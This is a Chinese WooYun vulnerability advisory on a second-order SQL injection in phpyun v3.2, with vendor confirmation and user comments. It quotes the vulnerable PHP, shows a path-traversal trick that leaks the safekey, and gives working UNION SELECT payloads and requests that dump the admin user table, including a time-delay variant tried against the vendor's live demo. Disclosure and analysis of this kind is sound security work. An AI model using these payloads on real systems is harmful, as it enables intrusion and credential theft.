当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(8) 关注此漏洞

缺陷编号: WooYun-2015-89069

漏洞标题: phpyun v3.2 二次注入一枚(绕过过滤,无需登录)

相关厂商: php云人才系统

漏洞作者: ′雨。认证白帽子

提交时间: 2015-01-04 10:47

公开时间: 2015-04-04 10:48

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-04: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-03-02: 细节向核心白帽子及相关领域专家公开
2015-03-12: 细节向普通白帽子公开
2015-03-22: 细节向实习白帽子公开
2015-04-04: 细节向公众公开

简要描述:

20141226的对之前的绕过过滤的那里也稍微改了下。。
这个改了 依旧能直接绕过 无限制。

可以直接出管理的密码啥的。 本地直接出管理密码了,demo测试。。
因为demo有安全狗。不会搞安全狗。 就直接延个时了。。

详细说明:

http://**.**.**.**/company/index.php?m=index&c=index&id=3751&style=../../template/admin&tp=/admin_web_config

可以发现现在打开是空白了。。 来看看代码。



在conpany/model/index.class.php中



code 区域
$_GET['style'] = str_replace(array('.','/'),'',$_GET['style']);//原来是过滤了. 和 /
if($row['comtpl'] && $row['comtpl']!="default" && !$_GET['style']){
$tplurl=$row[comtpl];
$this->registrs();
}else{
$tplurl="default";
}
if($_GET['style']){
$tplurl=$_GET['style'];
}
$tp=$_GET['tp']?$_GET['tp']:"index";
$this->public_action();
$this->yunset("msglist",$msglist);
$this->yunset("usertype",$_COOKIE['usertype']);
$this->yunset("uid",$this->uid);
$this->yunset("comclass_name",$comclass_name);
$this->yunset("com",$row);
$this->yunset("looktype",$looktype);
$this->yunset("look_msg",$look_msg);
$this->seo("company_".$tp);
$this->yunset("com_style",$this->config['sy_weburl']."/template/company/".$tplurl."/");
$this->yunset("comstyle","../template/company/".$tplurl."/");
$this->yuntpl(array('company/'.$tplurl."/".$tp));//不过我不怕 我还有$tp





那么就继续绕过过滤进行注入。









请无视上面的。









这个是之前的了, 但是还是有点问题的是。

发现phpyun生成的safekey都是一样的。

我测试了一些站 发现很少有改的。

之前连demo也没改。后面被我注入了几次才改了。



推荐随机生成一个呗。 咱我记得以前都是随机的。

现在都是啥72**啥的。 rand



在api\locoy\model\news.class.php中



code 区域
function addnews_action(){
include("locoy_config.php");


if($locoyinfo['locoy_online']!=1){ //默认都为1
echo 4;die;
}
if($locoyinfo['locoy_key']!=trim($_GET['key'])){//默认为phpyun 基本没改的。
echo 5;die;
}
if(!$_POST['title'] || !$_POST['content'] || !$_POST['nid']){
echo 2;die;
}
$row=$this->obj->DB_select_once("news_base","`title`='".trim($_POST['title'])."' and `nid`='".$_POST['nid']."'");//查询是否重复。,
if(is_array($row)){
echo 3;die;
}
$value="";
$value.="`title`='".trim($_POST['title'])."',";
$value.="`nid`='".$_POST['nid']."',";
$value.="`author`='".$_POST['author']."',";
$value.="`description`='".$_POST['description']."',";
$value.="`source`='".$_POST['source']."'";
if($_POST['ctime']){
$value.=",`datetime`='".strtotime($_POST['ctime'])."'";
}else{
$value.=",`datetime`='".time()."'";
}
if($_POST['hits']){
$value.=",`hits`='".trim($_POST['hits'])."'";
}else{
$row=explode('-',$locoyinfo['locoy_rand']);
if(is_array($row)){
$rand=rand(trim($row[0]),trim($row[1]));
}else{
$rand=!trim($row)?0:$row;
}
$value.=",`hits`='".$rand."'";
}
if($_POST['sort']){
$value.=",`sort`='".trim($_POST['sort'])."'";
}else{
$row=explode('-',$locoyinfo['locoy_sort']);
if(is_array($row)){
$rand=rand(trim($row[0]),trim($row[1]));
}else{
$rand=!trim($row)?0:$row;
}
$value.=",`sort`='".$rand."'";
}
if($_POST['newsphoto']){
$value.=",`newsphoto`='".trim($_POST['newsphoto'])."'";
}
if($_POST['s_thumb']){
$value.=",`s_thumb`='".trim($_POST['s_thumb'])."'";
}
$content=$_POST['content'];
if(!$_POST['keyword'] && $locoyinfo['locoy_keyword']==1){
require(APP_PATH."/include/lib_splitword_class.php");
$sp = new SplitWord();
$keywordarr=$sp->getkeyword(strip_tags($content));
$value.=",`keyword`='".@implode(",",$keywordarr)."'";
}elseif($_POST['keyword']){
$value.=",`keyword`='".str_replace(",",",",$_POST['keyword'])."'";//点点点
}

$new_base = $this->obj->DB_insert_once("news_base",$value);//入库了
$news_content = $this->obj->DB_insert_once("news_content", "`nbid`='$new_base',`content`='$content'");
if($new_base){
echo 1;die;





在model/news.class.php中



code 区域
function show_action()
{
$id=(int)$_GET['id'];
$news=$this->obj->DB_select_once("news_base","`id`='".$id."'");//这里出库了。
$row=$this->obj->DB_select_once("news_content","`nbid`='".$id."'");
$news['content']=$row['content'];
$news_last=$this->obj->DB_select_once("news_base","`id`<'".$id."' order by `id` desc");
if(!empty($news_last)){
if($this->config[sy_news_rewrite]=="2"){
$news_last["url"]=$this->config['sy_weburl']."/news/".date("Ymd",$news_last["datetime"])."/".$news_last['id'].".html";
}else{
$news_last["url"]= $this->Url("index",'news',array('c'=>'show',"id"=>$news_last[id]),"1");
}
}
$news_next=$this->obj->DB_select_once("news_base","`id`>'".$id."' order by `id` asc");
if(!empty($news_next)){
if($this->config[sy_news_rewrite]=="2"){
$news_next["url"]=$this->config['sy_weburl']."/news/".date("Ymd",$news_next["datetime"])."/".$news_next['id'].".html";
}else{
$news_next["url"]= $this->Url("index",'news',array('c'=>'show',"id"=>$news_next[id]),"1");
}
}
$class=$this->obj->DB_select_once("news_group","`id`='".$news['nid']."'");

if($news[0]["keyword"]!="")//如果查询出来的关键字不为空
{

$keyarr = @explode(",",$news["keyword"]);//这里用逗号来切割关键字。 那么意味着不能使用逗号了。
if(is_array($keyarr) && !empty($keyarr))
{
foreach($keyarr as $key=>$value)
{
$sqlkeyword[]= " `keyword` LIKE '%$value%'";//把查询出来的又拼接进来了, 那么意味着可以引入单引号了。
}
$sqlkw = @implode("OR",$sqlkeyword);
$about=$this->obj->DB_select_all("news_base"," 1 AND ($sqlkw) AND `id`<>'".$id."' order by `id` desc limit 6");//查询
if(is_array($about)){
foreach($about as $k=>$v){
if($this->config[sy_news_rewrite]=="2"){
$about[$k]["url"]=$this->config['sy_weburl']."/news/".date("Ymd",$v["datetime"])."/".$v['id'].".html";
}else{
$about[$k]["url"]= $this->Url("index",'news',array('c'=>'show',"id"=>$v[id]),"1");
}

}
}
}
}
$info=$news;
$data['news_title']=$news['title'];
$data['news_keyword']=$news['keyword'];
$data['news_author']=$news['author'];
$data['news_source']=$news['source'];
$data['news_class']=$class['name'];

$data['news_desc']=$this->obj->GET_content_desc($news['description']);
$this->data=$data;
$info["news_class"]=$class['name'];
$info["last"]=$news_last;
$info["next"]=$news_next;
$info["like"]=$about;

$this->yunset("Info",$info);//这里直接回显出来。





因为是二次注入 如果使用盲注的话 二次注入会非常的麻烦。

所以还是要想办法联合查询。

然后构造一下 因为主语句中有16个列 所以要16个。

%') and 1=2 UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN(SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (a 16)p)#



后面发现 数据库没存储完。

| keyword | varchar(200) | NO | | NULL |

去看了下数据库 才发现keyword这个列只能储存200个字符 但是我们上面那个语句都已经300了。。 所以要想办法缩短到200.



后面我看了一下管理表 phpyun_admin_user 有8个列。

那我们再构造一下

') and 1=2 union select * from phpyun_admin_user join (select 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)f join(select 6)g join (select 7)o join(select 8)p#





code 区域
mysql> select length('\') and 1=2 union select * from phpyun_admin_user join (se
lect 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e jo
in(select 5)f join(select 6)g join (select 7)o join(select 8)p#');
+-------------------------------------------------------------------------------
--------------------------------------------------------------------------------
------------------------------------------------------+
| length('\') and 1=2 union select * from phpyun_admin_user join (select 1)a joi
n (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)
f join(select 6)g join (select 7)o join(select 8)p#') |
+-------------------------------------------------------------------------------
--------------------------------------------------------------------------------
------------------------------------------------------+
|

200 |





我勒个擦 这运气也太好了把。。 刚好200个字符。。



然后来测试。



http://web/web/phpyun1226/api/locoy/index.php/admin/?m=news&c=addnews&key=phpyun



title=xa&content=xxax&nid=555&keyword=') and 1=2 union select * from phpyun_admin_user join (select 1)a join (select 2)b join (select 2)c join (select 3)d join (select 4) e join(select 5)f join(select 6)g join (select 7)o join(select 8)p#&safekey=939ab244bfc16c6013fadef6e6ecc702



8.jpg





返回1 添加成功。



然后访问 最后一个id的新闻 这里我们只需要把id写得很大

http://web/web/phpyun1226/index.php?m=news&c=show&id=21

然后会提示上一个新闻 点进去 就是我们的新闻了。



9.jpg





直接出数据。。 这里再用demo演示一下。



10.jpg





这里看到被拦截了 这里我们拿一下safekey



http://**.**.**.**/company/index.php?m=index&c=index&id=3751&style=index&tp=../../../template/admin/admin_web_config

这样绕过过滤 直接拿safekey



然后计算一下safekey



11.jpg





可以看到用计算出来的saefkey 又绕过了过滤。。

但是我过不了demo的安全狗 我擦擦擦擦擦。 这里我延时一个把。



12.jpg





返回1添加成功。



http://**.**.**.**/index.php?m=news&c=show&id=457 //延时了的



http://**.**.**.**/index.php?m=news&c=show&id=450 //普通的



可以发现明显时间不同。。

漏洞证明:

9.jpg



修复方案:

出库过滤。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-06 14:08

厂商回复:

感谢提供!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2015-01-04 11:10 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    1

    雨神啥时候高考?

  2. 2015-01-04 11:22 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    1

    我擦。。 没搞错吧,, 这个是很久以前的了。。 当时没审核, 现在都修复了 现在通过。。@Finger

  3. 2015-01-04 11:22 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    1

    @px1624 今年。

  4. 2015-01-04 11:27 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    1

    @′雨。 那还不好好学习,还来挖洞。这是已经被报送了的节奏么

  5. 2015-01-04 11:30 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    2

    @px1624 这是好久前的了,:-( 妈蛋 刚破400的学渣。

  6. 2015-01-04 11:32 | px1624 ( 普通白帽子 | Rank:1104 漏洞数:186 | px1624)
    2

    @′雨。 很久以前?显示的提交时间是今天啊

  7. 2015-01-04 11:33 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    2

    用爪机敲了几个字上去。。 来帮忙更新下 @Finger @疯狗 么么哒。

  8. 2015-01-07 17:39 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    1

    @px1624 之前提交的, 现在过审核嘛。

登录后才能发表评论,请先 登录